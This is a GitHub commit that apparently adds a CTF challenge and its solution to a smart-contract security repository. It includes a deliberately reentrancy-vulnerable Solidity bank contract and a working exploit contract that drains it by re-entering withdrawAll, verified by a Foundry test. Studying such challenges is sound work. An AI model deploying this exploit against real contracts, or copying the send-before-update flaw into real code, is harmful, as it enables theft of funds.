Skip to content

Commit a8834f2

Browse files
committed
add full weak engineer ctf
1 parent 6b23d75 commit a8834f2

File tree

6 files changed

+109
-0
lines changed

6 files changed

+109
-0
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,7 @@ Please be aware that these contain spoilers. For contribution guidelines, please
9999

100100
| CTF Name | Event Month |
101101
| -------------------------------------------------------------------------------------------------------------------------- | -------------------- |
102+
| [Full Weak Engineer CTF](src/FullWeakEngineerCTF/) | 2025-08 |
102103
| [HITCON CTF 2025](https://github.com/minaminao/my-ctf-challenges/tree/main/ctfs/hitcon-ctf-2025/maximal-extractable-vuln) | 2025-08 |
103104
| [SekaiCTF 2025](https://github.com/project-sekai-ctf) 🔗 | 2025-08 |
104105
| [justCTF 2025](https://github.com/justcatthefish) 🔗 | 2025-08 |
@@ -438,6 +439,7 @@ Note:
438439
| [SEETF 2023: PigeonBank](src/SEETF2023/) | |
439440
| [SekaiCTF 2023: Re-Remix](src/ProjectSekaiCTF2023/) | Read-Only Reentrancy |
440441
| [SECCON Beginners CTF 2024: vote4b](src/SECCONBeginnersCTF2024/vote4b/) | ERC721, `_safeMint()` |
442+
| [Full Weak Engineer CTF: Save the Kappa](src/FullWeakEngineerCTF/SaveTheKappa/) | |
441443

442444
### Flash loan basics
443445
- Flash loans are uncollateralized loans that allow the borrowing of an asset, as long as the borrowed assets are returned before the end of the transaction. The borrower can deal with the borrowed assets any way they want within the transaction.
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {VulnerableBank} from "./challenge/VulnerableBank.sol";
5+
6+
contract Exploit {
7+
VulnerableBank bank;
8+
uint256 step = 0;
9+
10+
function exploit(address payable bankAddr) external payable {
11+
bank = VulnerableBank(bankAddr);
12+
for (uint256 i = 0; i < 20; i++) {
13+
uint256 value =
14+
address(bank).balance < address(this).balance ? address(bank).balance : address(this).balance;
15+
if (value == 0) {
16+
break;
17+
}
18+
bank.deposit{value: value}();
19+
bank.withdrawAll();
20+
}
21+
}
22+
23+
receive() external payable {
24+
if (step == 0) {
25+
step = 1;
26+
bank.withdrawAll();
27+
} else {
28+
step = 0;
29+
}
30+
}
31+
}
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Test, console} from "forge-std/Test.sol";
5+
import {Exploit} from "./Exploit.sol";
6+
import {Setup} from "./challenge/Setup.sol";
7+
8+
contract ExploitTest is Test {
9+
address playerAddr = makeAddr("player");
10+
Setup setup;
11+
12+
function setUp() public {
13+
vm.deal(playerAddr, 1 ether);
14+
setup = new Setup{value: 10 ether}();
15+
}
16+
17+
function test() public {
18+
vm.startPrank(playerAddr, playerAddr);
19+
20+
Exploit exploit = new Exploit();
21+
exploit.exploit{value: 1 ether}(payable(setup.getBank()));
22+
23+
assert(setup.isSolved());
24+
25+
vm.stopPrank();
26+
}
27+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
https://github.com/full-weak-engineer/FWE_CTF_2025_public
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.26;
3+
4+
import "./VulnerableBank.sol";
5+
6+
contract Setup {
7+
VulnerableBank public immutable bank;
8+
9+
constructor() payable {
10+
VulnerableBank _b = new VulnerableBank();
11+
if (msg.value > 0) {
12+
(bool ok,) = address(_b).call{value: msg.value}("");
13+
require(ok, "seed failed");
14+
}
15+
bank = _b;
16+
}
17+
18+
function getBank() external view returns (address) {
19+
return address(bank);
20+
}
21+
22+
function isSolved() external view returns (bool) {
23+
return address(bank).balance == 0;
24+
}
25+
}
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.26;
3+
4+
contract VulnerableBank {
5+
mapping(address => uint256) public balances;
6+
7+
function deposit() external payable {
8+
require(msg.value > 0, "no value");
9+
balances[msg.sender] += msg.value;
10+
}
11+
12+
function withdrawAll() external {
13+
uint256 bal = balances[msg.sender];
14+
require(bal > 0, "no balance");
15+
16+
(bool ok,) = msg.sender.call{value: bal}("");
17+
require(ok, "send failed");
18+
19+
balances[msg.sender] = 0;
20+
}
21+
22+
receive() external payable {}
23+
}

0 commit comments

Comments
 (0)